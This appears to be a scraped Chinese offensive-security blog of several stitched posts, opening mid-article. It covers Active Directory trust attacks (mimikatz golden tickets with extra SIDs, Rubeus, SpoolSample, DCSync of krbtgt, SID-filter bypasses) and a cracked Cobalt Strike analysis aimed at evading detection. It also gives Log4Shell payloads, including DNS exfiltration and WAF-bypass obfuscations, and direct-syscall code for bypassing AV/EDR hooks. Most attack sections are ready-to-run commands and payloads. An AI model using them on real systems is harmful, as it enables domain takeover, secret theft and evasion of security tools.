mimikatz.exe "Kerberos::golden /admin:administrator /domain:newtree.local /sid:S-1-5-21-1380592208-1289200226-379417545 /sids:S-1-5-21-331789915-2083398572-1041350406-519 /krbtgt:9ffbe43ea370fe957e7c39e2409b2a14 /service:krbtgt /target:test.local" "exit"
#在主动申请TGS
Rubeus.exe asktgs /service:cifs/dc01.test.local /dc:dc01.test.local /ticket:ticket.kirbi /ptt

dir \\dc01.test.local\c$

注意这里无论使用Rubeus还是mimikatz 都不能直接PTT，获得转投TGT 后，需要手动向dc01.test.local请求TGS 票据。使用PTT 的话，请求cifs/dc01.test.local时候是向本域dc02.newtree.local 发送的转投TGT，本域不识别。 单项信任关系的利用

当设置域B到域A的域或林信任时（B信任A），将在域A中创建一个名为B$的信任帐户（该账户就是A域中的一个域用户）。当域 A 中的用户请求域 B 中的服务票证时，信任帐户的Hash 用于加密域间 TGT。这种单向信任如何利用呢？

其实简单点说，由于A 域中创建了一个B$ 的账户，它也是一个域账户，所以可以用于kerberos认证。由于知道它的Hash，所以可以用它去申请服务票据进行Kerberost 等等操作，但无法用于NTLM 认证。

无约束委派跨域利用

Tips: 此方法也受SID 过滤策略的影响，开启SID 过滤后，不会发送TGT 到指定服务。

在获得了域林中某个域控（默认启用非约束委派）的权限或配置了无约束委派的服务器权限情况下。使其他域的域控制器向已被控制服务器送身份认证请求，获取目标域控机器账户（或其他用户）TGT。

#在dc.a.com使用rubeus监控身份认证请求。（intrval指定监控的时间间隔，filteruser指定关注的用户）
Rubeus.exe monitor /monitorinterval:5 /filteruser:BDC$ /nowrap
#使用SpoolSample 让目标域控bcd.b.com向dc.a.com发送身份验证请求。
SpoolSample.exe bdc.b.com dc.a.com
#rubeus捕捉到认证请求后保存TGT数据。
Rubeus.exe ptt /ticket:TGT数据.txt
#然后请求目标域的krbtgt Hash
mimikatz.exe "lsadump::dcsync /domain:B.com /user:B\krbtgt"

绕过SID 过滤

CN=Configuration,DC=root,DC=local 分区是用于林的配置信息，并被复制到林中的每个域控制器。此外，林中的每个可写域控制器都拥有配置 NC 的可写副本。这意味着子 DC（不是只读 DC）可以通过查询其本地副本来读取和写入林的配置 NC 下的任何内容。下面三种方式都是通过CN=Configuration,DC=root,DC=local 分区来利用的。

利用环境：林内，在一个双向信任的父子域中，父域开启了SID 过滤。

GPO

在子域域控上以system权限可以链接GPO到AD 复制站点，包括父域DC所在的站点。

#在父域检查复制站点
Get-ADDomainController -Server root.local | select HostName, ServerObjectON
#子域域控以system权限执行，链接test GPO到目标 
New-GPLink -Name "test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=root,DC=local" -Server child.root.local
#等待复制到父域，然后在父域域控上查看GPO被应用了
gpresult /r

通过GPO 可以设置计划任务等来获取权限。

Golden gMSA

GoldenGMSA 工具使用 LDAP 通过读取CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=root,DC=local中 msKds-ProvRootKey 对象的属性来获取密钥。所以同理，在子域以system权限执行，可以读取其本地副本的对象。

https://github.com/Semperis/GoldenGMSA

#在子域域控以system权限执行
#在线计算
GoldenGMSA.exe compute --sid "5-1-5-21-3721226516-2472762132-231580280-1601" --forest child.root.local --domain root.local
#还可以本地计算
GoldenGMSA.exe kdsinfo -forest child.root.local
GoldenGMSA.exe gmsainfo --domain root.local
#kdskey和pwdid参数值为前两条命令执行结果
GoldenGMSA.exe compute --sid"5-1-5-21-3721226516-2472762132-231580280-1601" --kdskey xxxxx --pwdid

利用schema 分区

之前也介绍过活动目录的schema分区包含对林中创建的每个对象的定义，也包含对活动目录中每个对象的属性的定义。例如defaultSecurityDescriptor 属性为新创建对象的默认ACL。

在子域上直接以system 权限修改Schema 中的defaultSecurityDescriptor 对象会报错。但可以先添加一个指定用户对CN=Schema,CN=Configuration,DC=root,DC=local 对象的写权限，并继承到所有的classSchema对象。

#获取defaultSecurityDescriptor属性现有的默认acl
Get-ADObject "CN=User,CN=Schema,CN=Configuration,DC=root,DC=local" -Properties defaultSecurityDescriptor | select defaultSecurityDescriptor |ft -Wrap

#修改defaultSecurityDescriptor属性的ACL
Set-ADObject -Identity "CN=User,CN=Schema,CN=Configuration,DC=root,DC=local" -Replace @{defaultSecurityDescriptor='xxx';} -Verbose -Server root.local

还有其他利用方式，比如删除属性的保密标志。

跨林的利用方法（同样适用于林内）

林信任是默认开启SID 过滤的且上面介绍的方法也仅限与林内。

前提： A 林信任B 林。
1. 如果B 林中的用户本身在A 林中属于某个重要安全组的话，依然是可以利用的。
2. 如果A 林允许了历史sid，那么只会对ExtraSids字段的DA/EA/Account Operators组进行过滤。如果有高权限用户/组，且RID>1000（例如exchange相关的组），那么就可以使用历史SID 伪造该组。

参考

Active Directory forest trusts part 1 - How does SID filtering work?

SID filter as security boundary between domains? (Part 1)

域、域树、域林、根域

基于域信任关系的域攻击 --文中有些许错误

Cobalt Strike 代码分析(一)

myzx.xcg@gmail.com (myzxcg) — Wed, 30 Mar 2022 22:31:02 +0800

环境配置

原版Jar包: https://github.com/trewisscotch/CobaltStr4.4

Cobalt Strike 各版本sha256

#mac
shasum -a 256 cobaltstrike.jar
#windows
certutil -hashfile cobaltstrike.jar sha256

反编译与打包

反编译：把class 反编译成.java的源代码，方便进行查找。

1
2

//反编译后会自动打成Jar包，解压后里面是.java格式的源文件
java -cp /Applications/"IntelliJ IDEA.app"/Contents/plugins/java-decompiler/lib/java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true cobaltstrike.jar cs/

打包：对功能进行增加再重新打包

Idea 新创建一个项目，编辑项目结构→模块→依赖→添加Jar或目录..→添加原版cs的jar包。

为了后面能重新打包成Jar: 选择工件→添加Jar→来自具有依赖的模块→主类中设置myEntry.run →然后创建此文件。（先不要设置为aggressor.Aggressor，4.4 版本会对重要类文件完整性做校验，所以不能定义成和它同名的类，后面介绍如何解决校验问题）

生成Jar包时选择构建→构建工件。

结构如上图，另外还需要配置VM参数：-XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC ，然后启动即可。

破解：可直接用此Agent https://github.com/Twi1ight/CSAgent ，比较方便。

如果不用Agent，想直接对Jar包进行修改，就需要注意类文件完整性校验问题。

1
2

//如下代码是cs对common/Authorization.class文件进行计算的逻辑
System.out.println(new ZipFile("/C:/Users/xxx/Desktop/mycs/lib/cobaltstrike4.4.jar").getEntry("common/Authorization.class").getCrc());

其实不用管它怎么算的，直接把common包下的starter2与starter类中A函数与Helper.startHelper函数的返回值都改为True，然后按照Agent中的方法修改Authorization类的逻辑后重新编译，把所有class复制到原版Jar包里即可。（建议这样做，因为涉及到后面调试）

暗桩：将beacon/BeaconData的this.shouldPad 值固定为false。

调试

CS 的class 做了混淆导致无法直接调试。可以利用上面反编译获取到的.java源文件，把源文件放到项目的src目录下，删除所有报错的类和第三方包（想要调试的类报错的话可以尝试修改，现在其实不用管，先运行起来，后面想要调试对应的类再加进来），直到能够正常编译运行。

Tips: 如果登录进去后Eventlog 页面不显示内容，则需要把console包给删了，改用Jar包中的。

结构如下图

然后配置teamserver 启动

Stageless Beacon

Teamserver 和Client 的登录认证过程就不细说了，主要分析Beacon 生成以及与Teamserver 的通信过程，了解特征可能出现在那些地方，以此研究如何修改这些特征。

Beacon 生成分析

生成Stageless beacon的入口点是WindowsExecutableStageDialog类的dialogAction方法。简单说一下流程: 首先根据指定的Listener 名称获取ScListener 对象，然后调用该对象的export 方法来获取beacon的字节数组，然后再根据输出的文件格式保存到文件。其中，export 方法中会根据架构、Listener 、CS Profile 信息来生成beacon。下面以生成64位HTTP 请求的Beacon 为例:

首先定位关键点BeaconPayload的exportBeaconStageHTTP 方法，从dialogAction() 到该函数的调用链如下（略过了一些传参判断）: exportBeaconStageHTTP() 中最重要的就是exportBeaconStage() 与this.pe.process() 方法，下面着重对这两个方法进行分析。

exportBeaconStage()

首先从sleeve目录中读取并解密DLL模版 beacon.x64.dll，获得其字节数组（这步需要先破解CS才能解密成功）。然后根据Listener、CS Profile 中设定的值按照一定格式生成一个新字节数组。再定位beacon.x64.dll 字节数组中AAAABBBBCCCCDDDDEEEEFFFF 字符串所在索引，并将新字节数组拷贝到此索引开始的位置。然后返回拷贝后的字节数组。下面来分析一下这个过程:

函数的前半段主要是从配置文件读取数据，并赋值给变量，后面半段再对变量进行利用。

SleevedResource.readResource(var5) 根据文件名读取并解密资源文件存储到var8中。然后从CS Profile 中读取http-get 请求的uri，Listener 中设置的Host，构成一个链表存储到var11中。再就是根据Listener的Strategy设置变量，如果用的默认的值就不用管这步。

函数的后半段就是根据从CS Profile 中获取值，将其按照一定格式添加到Settings对象中，然后添加到资源文件的指定位置中。（为了节省篇幅，每个值的意义写在注释里了，如下图）

补充说明:

上面说到数据是按照一定格式被添加成字节数组的，那么要分析它是什么格式就得看看addShort、addInt、addData、addString 方法是如何实现的。下图是这些方法的定义：

以addShort()为例：var1是后面beacon.exe 解析Profile时的索引（这里暂时不用管），var2 就是要写入的内容。而在添加var2之前还添加了1和2。结合Settings 定义的TYPE_SHORT、TYPE_INT 等属性，可以猜测添加的1代表Short类型的数据，接着添加2代表数据的长度（2字节）。在函数中可以看到，其实真正调用的是Packer对象的addShort() 方法。

this.data.write(var1, var2, var3); 就是将var1数组从var2偏移开始把var3长度的数据写到输出流中。所以所有的数据是存在Packer 对象的out属性中的。

MalleablePE.process()

分析此部分需要对PE 文件结构有所了解。前面对资源文件beacon.x64.dll 写入了网络请求等相关的Profile，这一步就是写根据Profile 中有关PE的配置（stage{...}中的内容）对DLL进行修改，然后为DLL 设置反射加载的loader。

process函数中调用了pre_process()和post_process()，下面跟一下这两个函数。

pre_process() 的前半段主要是获取Profile中配置的stage值，然后创建了一个PEEditor对象。接着调用了此对象的CheckAssertions() ，在这个函数中解析了var1的PE 文件结构。

在CheckAssertions()中调用了PEEditor.getInfo()，此函数会创建PEParser 对象，并存储在PEEditor的info属性中。

在PEParser的构造函数中又会调用它的parse()函数，用来解析var1的PE结构。var1字节数组存储在this.content 属性中，解析的结果存储在this.values 。受篇幅影响，注释中解释了各行代码含义，如下图。

接着post_process() 函数主要是为DLL 添加ReflectiveLoader。首先获取DLL 中已经写好的ReflectiveLoader函数地址，然后在PE 文件的DOS 头位置添加指令，调用该函数。相当于DLL 之后能像Shellcode 一样加载。

建议先去学习一下反射DLL 相关知识（可参考之前写的文章），不然这里理解不了在做什么。

设置好Reflective DLL之后，如果配置文件中进行了如下配置，那么会替换PE 中的相关字符串。

transform-x64 {
    prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90";//在PE文件前添加
    strrep "ReflectiveLoader" "execute"; //替换ReflectiveLoader为execute
    strrep "beacon.x64.dll" ""; //替换beacon.x64.dll为空
}

如果选择输出Raw格式，那么就直接将var6.peProcessedDLL 内容输出到文件了。如果是exe等格式那么还会调用patchArtifact() 添加一个loader。

分析CS 对PE 的处理过程，可以尝试把修改后的字节数组输出，然后用010editor之类的工具进行分析。

File file  = new File("C:\\Users\\xxx\\Desktop\\xxx.dll");
if(file.exists())file.delete();
try {
   FileOutputStream fos = new FileOutputStream(file);
   fos.write(var6.peProcessedDLL,0,var6.peProcessedDLL.length);
   fos.flush();
   fos.close();
} catch (Exception e) {
   e.printStackTrace();
}

Beacon 通信分析

下面以Stageless、走HTTP 协议的Beacon来分析。（用的这个 Profile ）

Beacon 向 TeamServer 发送Get请求

Beacon 在每次Sleep 后都会像TeamServer 发送如下请求获取要执行的指令（每次请求内容始终相同）

下面来跟一下TeamServer 处理该请求的过程。（根据配置文件，Cookie头的__cfduid字段的值就是发送给TeamServer的关键内容）

直接定位到关键点cloudstrike.WebServer 类的_serve() 方法处理HTTP请求，根据请求的类型、URI的不同，判断是否是代理、stager 或是stageless的请求。这里用的是stageless，所以直接进入第二个判断。

接着调用MalleableHook 类的serve()方法。（后面都会把关键内容写在注释里，节省篇幅）

下面进入关键的方法this.hook.serve() ，根据GET、POST 两种不通的请求类型，对应的serve()方法也不相同。这里是GET 请求，那么调用的是BeaconHTTP._A.serve()方法。

其中BeaconHTTP.this.controller.dump 方法会从对应的Beacon ID中获取用户指令，加密后输出在响应中。而process_beacon_metadata方法，这个函数会解密并解析数据，通过这个函数也能看到客户端传输数据的格式。

其中会创建一个BeaconEntry 对象，这个对象中保存了解密后的内容中有关客户端机器的信息，并与对应的Beacon ID 绑定。最后返回该对象。通过分析该函数以及BeaconEntry的构造函数，可以得出客户端数据的排列方式为：
Beacon 向 TeamServer 发送Post请求

调用的函数前面还是不变，POST 方法调用的是BeaconHTTP._B.serve()方法。

这里__cfduid参数的解密过程为: base64解密->异或加密密钥（4字节）+ 异或加密数据。而POST数据的结构为：

根据上面的分析，其实只要按照指定的格式排列数据并加密，就能上线CS。因此可以自己写CS 客户端，这也是绕过CS的内存查杀的一种方法。其次，如果配置好profile中的内容，完全可以自定义流量。只是每次beacon回连获取指令的数据包始终相同，这也算是一种特征。

参考

CobaltStrike二次开发环境初探

CobaltStrike逆向学习系列

Log4j2 利用链与Waf绕过分析

myzx.xcg@gmail.com (myzxcg) — Sat, 15 Jan 2022 20:34:25 +0800

log4j 2漏洞一个半月前就已经爆出来了，现在才发分析属实有点晚。主要因为前一段时间在忙着学习汇编。在闲暇的时候跟了一下log4 j2的调用过程，简单总结一下。

Log4j2是Apache的一个开源项目，使用Log4j2可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。

基本原理

环境配置

maven 导入log4j的jar包。

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

在工程目录resources下创建log4j2.xml。

<?xml version="1.0" encoding="UTF-8"?>
<configuration status="error">
    <appenders>
        <!--配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
        <Console name="Console" target="SYSTEM_OUT" >
            <!--配置Console的模式布局-->
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
        </Console>
    </appenders>
    <loggers>
        <root level="info">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

配置文件介绍

下面对配置文件中有关参数进行介绍

Configuration为根节点，有status和monitorInterval等多个属性。status的值用于控制log4j2日志框架本身的日志级别，一般不用设置。

Appenders是输出源，用于定义日志输出的地方。log4j2支持的输出源有Console、File、RollingRandomAccessFile、MongoDB、Flume等。

Console控制台输出源是将日志打印到控制台上，开发的时候一般都会配置，以便调试。

PatternLayout 控制台或文件输出源都必须包含一个PatternLayout节点，用于指定输出文件的格式。各标记符详细含义如下:

%d{HH:mm:ss.SSS} 表示输出到毫秒的时间
%t 输出当前线程名称
%-5level 输出日志级别，-5表示左对齐并且固定输出5个字符，如果不足在右边补0
%logger 输出logger名称，因为Root Logger没有名称，所以没有输出
%msg 日志文本
%n 换行
...

Loggers日志器分root日志器和自定义日志器，当根据日志名字获取不到指定的日志器时就使用Root作为默认的日志器。自定义时需要指定每个Logger的名称、日志级别等。此外，还需要配置一个或多个输出源AppenderRef 。

每个logger可以指定一个level，不指定时默认为ERROR。低于此等级的日志信息不会被记录，只有高于或等于此等级的信息会被记录。

级别由高到低共分为6个：fatal, error, warn, info, debug, trace

调用过程分析

POC:

package log4j2Exploit;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class run {
    private static final Logger logger = LogManager.getLogger(run.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:3890/test}");
    }
}

跟进logger.error()→logIfEnabled()→isEnabled()→filter() 中判断了当前调用的日志等级是否高于等于配置文件中配置的。（intLevel的值是日志等级越高，值就越小）判断完成后回到logIfEnabled()

再进入logMessage()→...→tryLogMessage()→log()...->tryAppend()→directEncodeEvent()

直到directEncodeEvent()函数之前没什么好说的，都是读取配置文件创建event事件等操作。 this.getLayout() 获取配置文件里设置的输出格式，并调用encode()处理event。

紧接着调用了toText方法来用不同Converter处理传入的数据，并将结果存入buffer中。这里解释一下这10个converter对象是干什么的：

比如第一个DatePatternConverter 就是用来根据event对象中的%d{yyyy-MM-dd HH:mm:ss.SSS}（也就是从配置文件中设置的）转换成按照此格式的时间表示，并将值存在buffer中。所以同理，后面所有的converter就是按照配置文件中设置的输出格式转换为对应的值，并将结果添加到buffer中。输入${jndi:ldap://127.0.0.1:3890/test}对应的是%msg，处理的converter是MessagePatternConverter，也就是i=8，跟进它的format()。首先通过event.getMessage()获取到Message对象。再重新创建一个StringBuilder对象workingBuilder，将之前coverter格式化好的部分赋值给workingBuilder，并添加msg对应的字符串给此对象。

然后从之前coverter格式化好的字符串末尾开始，遍历之后的workingBuilder字符串，直到找到${ 起始的位置。找到后将${到整个字符串末尾的值复制给value，并将workingBuilder的长度设置为之前未拼接msg的长度，并重新添加this.config.getStrSubstitutor().replace(event, value) 的值到workingBuilder。

这段操作意思: 如果msg中存在${字符串，取出msg值后，就将整个msg字符串从workingBuilder中替换掉。

然后跟入replace函数。这里主要是对传入的msg字符串进行处理，循环查找以${字符串开头和以}字符串结束的位置，获取两者之间字符串，即jndi:ldap://127.0.0.1:3890/test。（同时还会递归判断这个字符串中是否还有${与}）

最后进入resolveVariable() 方法。支持的Interpolator类型。通过 var.indexOf(58)获取:号的索引位置，得到Interpolator前缀。再根据对应的前缀调用lookup方法。

进入到log4j的JndiLookup类的lookup方法中，通过jndi调用lookup。

利用与绕过

利用姿势

关于JNDI 的利用方式，可参考之前写的文章Java-JNDI分析与利用。

前面分析中可以看到，能利用的不止JNDI前缀。

1
2

${java:runtime} ${java:vm} ${java:os} //获取java运行时版本，jvm版本，和操作系统版本
${sys:java.version}

外带数据: ${jndi:ldap://${java:os}.2lnhn2.ceye.io}

还可利用Bundle协议读取项目配置文件来获取敏感信息。

${bundle:application:spring.datasource.password}

2.15.0 rc1 绕过

这个绕过有点鸡肋，需要修改配置，默认配置下是不能触发JNDI远程加载的。

简单说一下变化:

前面用到的MessagePatternConverter这个converter 变成了MessagePatternConverter$SimpleMessagePatternConverter 可以看到没有像MessagePatternConverter那样对传入的数据进行${ 判断。而是在LookupMessagePatternConverter.format()方法中才进行了判断，并调用replaceIn()。然而要触发这个converter，需要修改配置文件，在%msg的后面添加一个{lookups}。

同时JndiManager.lookup方法增加了白名单校验，当以ldap和ldaps协议请求就会判断请求的host。白名单里只允许本机地址。

按理说是无解的，但是在JndiManager.lookup方法中，在捕获异常后没有进行任何操作，从而能走到this.context.lookup() 。所以只要让lookup方法在执行的时候抛个异常即可。

payload: ${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}。在url 中增加一个空格，就会导致报错。这样连针对host的校验都能绕过。

修复: 在rc2中，catch之后就直接return了(2.15.0稳定版本不受影响)。

Tips: 提一下2.0-beta7 ≤ Log4j 2.x ≤ 2.17.0（2.3.2 和 2.12.4 版本不受影响），如果配置文件可控，利用Log4j2 提供的 JDBCAppender 功能可以导致JNDI注入。在Log4j2 ≤ 2.16.0的版本由于substitute函数的递归解析还能导致拒绝服务攻击。

WAF 绕过

绕过方法一

前面提到过在处理${jndi:ldap://127.0.0.1:3890/test}的时候会递归处理。首先循环查找${ 和} 的位置，获取两者之间的字符串。前面没有说的是，找完${ 和}之后它还会查找:-。

以${${,:-j}ndi:ldap://127.0.0.1:3890/test} 为例: 如果找到就截取:-之前的变量赋值给varName，截取:-到末尾的字符串赋值为varDefaultValve，然后就跳出循环。

然后使用resolveVariable() 对varName的内容进行判断，如果不匹配任何log4j2支持的协议，就返回null（这里varName的值为,）。之后就会把varDefaultValve的值（这里为j）赋给varValue。然后再用varValue替换整个${,:-j} ，即最后结果为jndi:ldap://127.0.0.1:3890/test 。所以绕过方法可以是:

${任意字符串:-实际想要的字符串} = 实际想要的字符串

注意这里的任意字符串不能为log4j2 支持的Interpolator前缀。

例如: ${${fdafasdfasdfasfdas:-j}ndi:ldap://127.0.0.1:3890/test}

绕过方法二

可以看看log4j2所支持的Interpolator前缀，有哪些支持对字符串的处理。所以可以用${lower:j}${upper:n} 等前缀来处理字符串。（部分版本不支持lower, upper等协议）

受影响的应用

Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
Redis
logstash
kafka
VMware Horizon
VMware vCenter Server
VMware HCX
VMware NSX-T Data Center

受影响的主流应用软件

修复与防御

升级到最新版
临时修改方法:
- jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数（版本>=2.10.0有效）
- 设置系统环境变量：LOG4J_FORMAT_MSG_NO_LOOKUPS=true （版本>=2.10.0有效）
- log4j2 < 2.10以下的版本移除JndiLookup类。
禁止没有必要的业务访问外网

参考

Windows 系统调用分析与免杀实现

myzx.xcg@gmail.com (myzxcg) — Thu, 13 Jan 2022 21:12:48 +0800

Windows 内核基础

此节概念引用自《加密与解密》第7章

现代操作系统一般分为应用层和内核层两部分。应用层通过系统调用进入内核，由系统底层完成响应的功能，这时候内核执行处在该进程的上下文空间中。同时内核处理某些硬件发来的中断请求，代替硬件完成某些功能，这时候内核处在中断的上下文空间中。

权限级别

系统内核层又叫零环（Ring 0），与此对应的应用层叫3环（即Ring 3）。

CPU 设计者将CPU 的运行级别从内向外分为4个，依次为R0，R1，R2，R3，运行权限从R0到R3依次降低。操作系统设计者在设计操作系统的时候，并没有使用R1和R2 两个级别（本来应该用来运行设备驱动），而是将设备驱动运行在与内核同级别的R0级。（在AMD64 CPU 之后，CPU 也只保留了R0和R3两个级别）

R3 与 R0 通信

当应用程序调用一个API 时，实际上是调用应用层的某个DLL 库（如kernel32.dll 、user32.dll）。而此DLL 中还会调用在ntdll.dll 中的Native API 函数。例如当kernel32.dll 中的API 通过ntdll.dll 执行时，会完成参数的检查工作，再调用一个中断（int 2Eh或者SysEnter/syscall指令），里面存放了与ntdll.dll 中对应的SSDT 系统服务处理函数，即内核态的Nt*系列函数，它们与ntdll.dll 中的函数一一对应。

大部分API在R3都是处理各种校验，真正执行功能都是在R0(并不是所有的API都是在R0处理)。

ntdll.dll 中的Native API 函数时成对出现的，分别以Nt和Zw 开头，它们本质上是一样的只是名字不同。使用Zw* 系列的API 可以避免额外的参数列表检查，提高效率。 Kernel32.dll: 最核心的功能模块，比如管理内存、进程和线程相关的函数等。

User32.dll: 是Windows用户界面相关应用程序接口,如创建窗口和发送消息等。

Ntdll.dll: 大多数API都会通过这个DLL进入内核。

SSDT

SSDT 全称是系统服务描述符表，在内核中的实际名称是KeServiceDescriptorTable。

SSDT的每个成员叫做系统服务表，系统服务表里的函数都是来自内核文件导出的函数，但并不包含内核文件导出的所有函数，而是3环最常用的内核函数，系统服务表位于 _KTHREAD +00xE0 。

SSDT的第一个成员是导出的，声明一下即可使用，第二个成员是未导出的，需要通过其它方式查找，第三个成员和第四个成员未被使用。

SSDT 用于处理应用层通过 kernel32.dll 下发的各个API 操作请求。当kernel32.dll 中的API 通过 ntdll.dll 时会先完成对参数的检查，再调用一个中断，从而实现从R3层进入R0层，并将要调用的服务号（也就是SSDT 数组的索引号）存放到EAX 中。最后根据存放在EAX的索引值在SSDT 数组中调用指定的服务。（Nt* 系列函数）

[函数地址表 + 系统服务号*4] = 内核函数地址

Windows API 调用过程分析

32位 ReadProcessMemory 分析与实现

#include <Windows.h>
#include <stdio.h>
int main() {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4980);
    DWORD dwData = 0;
    ReadProcessMemory(hProcess, (PVOID)0x400000, &dwData, 4, NULL);

    return 0;
}

编译后使用DBG 进行调试。

Tips: 分析32位调用过程，需要在32位系统上进行。（在64位系统上运行的32位程序与运行在32位系统上的调用过程是不一样的，下面介绍原因）运行到call dword ptr ds:[<&ReadProcessMemory>] 并进入函数。可以看到调用了kernel32.dll中的ReadProcessMemory函数，继续跟入jmp。这里进入了kernelbase.dll 中的ReadProcessMemory函数，并从该函数调用了ntdll.dll 中的ZWReadVirtualMemory函数。紧接着进入ntdll.dll 中。根据前面的介绍，可知115 就是ReadProcessMemory的系统调用号，保存在eax寄存器中。

1
2

mov edx,<&KiFastSystemCall> 
call dword ptr ds:[edx]

<&KiFastSystemCall> 是一个函数地址（固定为0x7FFE0300），通过该函数进入0环（由KUSER_SHARED_DATA.SystemCall 决定以哪种方式进入0环）。真正读取进程内存的函数在0环实现，我们所用的函数只是系统提供的函数接口。

KiFastSystemCall函数中的内容，可以看到把当前栈顶放入edx中后调用sysenter进入内核。 实现 ReadProcessMemory（x86）

不使用任何DLL，直接调用0环函数，可以绕过AV/EDR 的API Hook（通过在执行Win32 API调用之前对其进行检查，确定它们是否可疑/恶意以及阻止或允许调用继续进行）。

用以下代码起一个进程，后面通过自己编写ReadProcessMemory函数的调用过程读取num的值。

#include <Windows.h>
#include <stdio.h>
int main() {
    int num = 0x1234567;
    printf("num地址: %x\n",&num);
    getchar();
    return 0;
}

通过中断门进入内核

TIps: 以下代码只能在32位系统上正常运行，64位系统的调用方式不一样。

原因解释：

在微软推出64位的Windows 版本时，为了保证和现有32位应用程序的兼容性，实现了WOW64系统，它负责将所有Windows API 调用从32位用户空间转换为64位操作系统内核。在WOW64版本中，通过Wow64SystemServiceCall函数进行系统调用，而不是syscall指令。该函数会调用到wow64cpu!KiFastSystemCall，此函数会将CPU 从32位切换到64位模式，在64位上进行系统调用。所以32位程序在64位系统上运行和在32位系统上运行的调用过程完全是不一样的。

#include <stdio.h>
#include <windows.h>
BOOL MyReadProcessMemory(
    HANDLE  hProcess,
    LPCVOID lpBaseAddress,
    LPVOID  lpBuffer,
    SIZE_T  nSize,
    SIZE_T* lpNumberOfBytesRead
)
{
    __asm
    {
        lea eax, lpNumberOfBytesRead
        push eax
        push nSize
        push lpBuffer
        push lpBaseAddress
        push hProcess
        mov  eax, 115h
        mov  edx, esp
        int 2eh
        add  esp, 20
    }
}

int main()
{
    
    DWORD dwData = 0;
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2900);
    MyReadProcessMemory(handle, (LPVOID)0x41fea8, &dwData, 4, NULL);
    printf("dwData=%x \n", dwData);
    getchar();
    return 0;
}

通过sysenter 快速调用进入内核

#include <stdio.h>
#include <windows.h>
BOOL MyReadProcessMemory(
    HANDLE  hProcess,
    LPCVOID lpBaseAddress,
    LPVOID  lpBuffer,
    SIZE_T  nSize,
    SIZE_T* lpNumberOfBytesRead
)
{
    BOOL bRet = 0;
    __asm
    {
        lea eax, lpNumberOfBytesRead
        push eax
        push nSize
        push lpBuffer
        push lpBaseAddress
        push hProcess

        //模拟call ZwReadVirtualMemory 
        sub esp, 4

        //系统服务号
        mov eax, 0x115

        //模拟call KiFastSystemCall  必须在堆栈中保存下一条指令（返回）地址（IP）
        PUSH RETADDR

        //快速调用
        mov edx, esp

        //sysenter对应硬编码
        _emit 0x0F; _EMIT伪指令相当于MASM中的DB，一次只能定义一个字节。VC里没有DD及DW之类的内联汇编指令
        _emit 0x34;

    RETADDR:
        add esp, 24
        mov bRet, eax
    }
    return bRet;
   
}

int main()
{
    
    DWORD dwData = 0;
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2900);
    ReadProcessMemory(handle, (LPVOID)0x41fea8, &dwData, 4, NULL);
    printf("dwData=%x \n", dwData);
    getchar();
    return 0;
}

这里解释一下为什么必须模拟两次call调用:

call 会在栈中保存call 语句下一条指令的IP地址，所以会压栈。由于在前面分析API 调用时，会将最后的栈顶给edx寄存器，所以栈顶结构必须要一致。

中断调用与快速调用

当设置mov eax,1 并执行cpuid指令后，处理器的特征信息会被保存在ecx和edx寄存器中，而edx包含了一个SEP位（第11位），该位指明了当前处理器知否支持sysenter/sysexit指令（用于快速在R3和R0之间转换的指令）。

如果SEP为1，说明当前CPU支持 sysenter 指令，那么函数在进行系统调用时会通过ntdll.dll! KiFastSystemCall() 进行快速调用，不支持就会通过ntdll.dll! KiIntSystemCall() 进行中断门调用。

KUSER_SHARED_DATA.SystemCall对应的值就是ntdll!KiInitSystemCall的地址。

_KUSER_SHARED_DATA 结构

在所有的体系结构中，都有一个称为KUSER_SHARED_DATA的结构体，它属于进程，并且总是映射到0x7ffe0000，此结构用于 User 层和 Kernel 层共享某些数据，它们指向的是同一个物理页，但在User层是只读的，在Kernel层是可读可写的。

通过中断门进0环

Tips： 奔腾2之前的处理器上，Windows使用中断0x2e实现系统调用。

KiIntSystemCall 函数实现

第一行将参数的地址放入EDX中，然后调用0x2e中断（所有的API进内核时，统一的中断号为0x2e）

中断门进0环，需要的CS、EIP在IDT表中，需要查内存(SS与ESP由TSS提供)

进入0环后执行的内核函数：NT!KiSystemService （在 ntkrnlpa.exe 中）
快速调用进0环

Tips: Intel x86下Windows通过sysenter实现系统调用。

KiFastSystemCall 函数实现

将当前栈顶（esp）的值放入edx中，然后执行sysenter指令

CPU如果支持sysenter指令，操作系统会提前将CS/SS/ESP/EIP的值存储在MSR寄存器中，sysenter指令执行时，CPU会将MSR寄存器中的值直接写入相关寄存器，没有读内存的过程，所以叫快速调用。

进入0环后执行的内核函数：NT!KiFastCallEntry

无论是通过中断门还是快速调用进入0环，进入0环前的所有寄存器都会存到Trap Frame结构体中，此结构体本身处于0环，由Windows操作系统进行维护。

64位 ReadProcessMemory 分析与实现

Tips: Intel x64下Windows通过syscall实现系统调用。

同样编译成64位后，使用DBG调试。

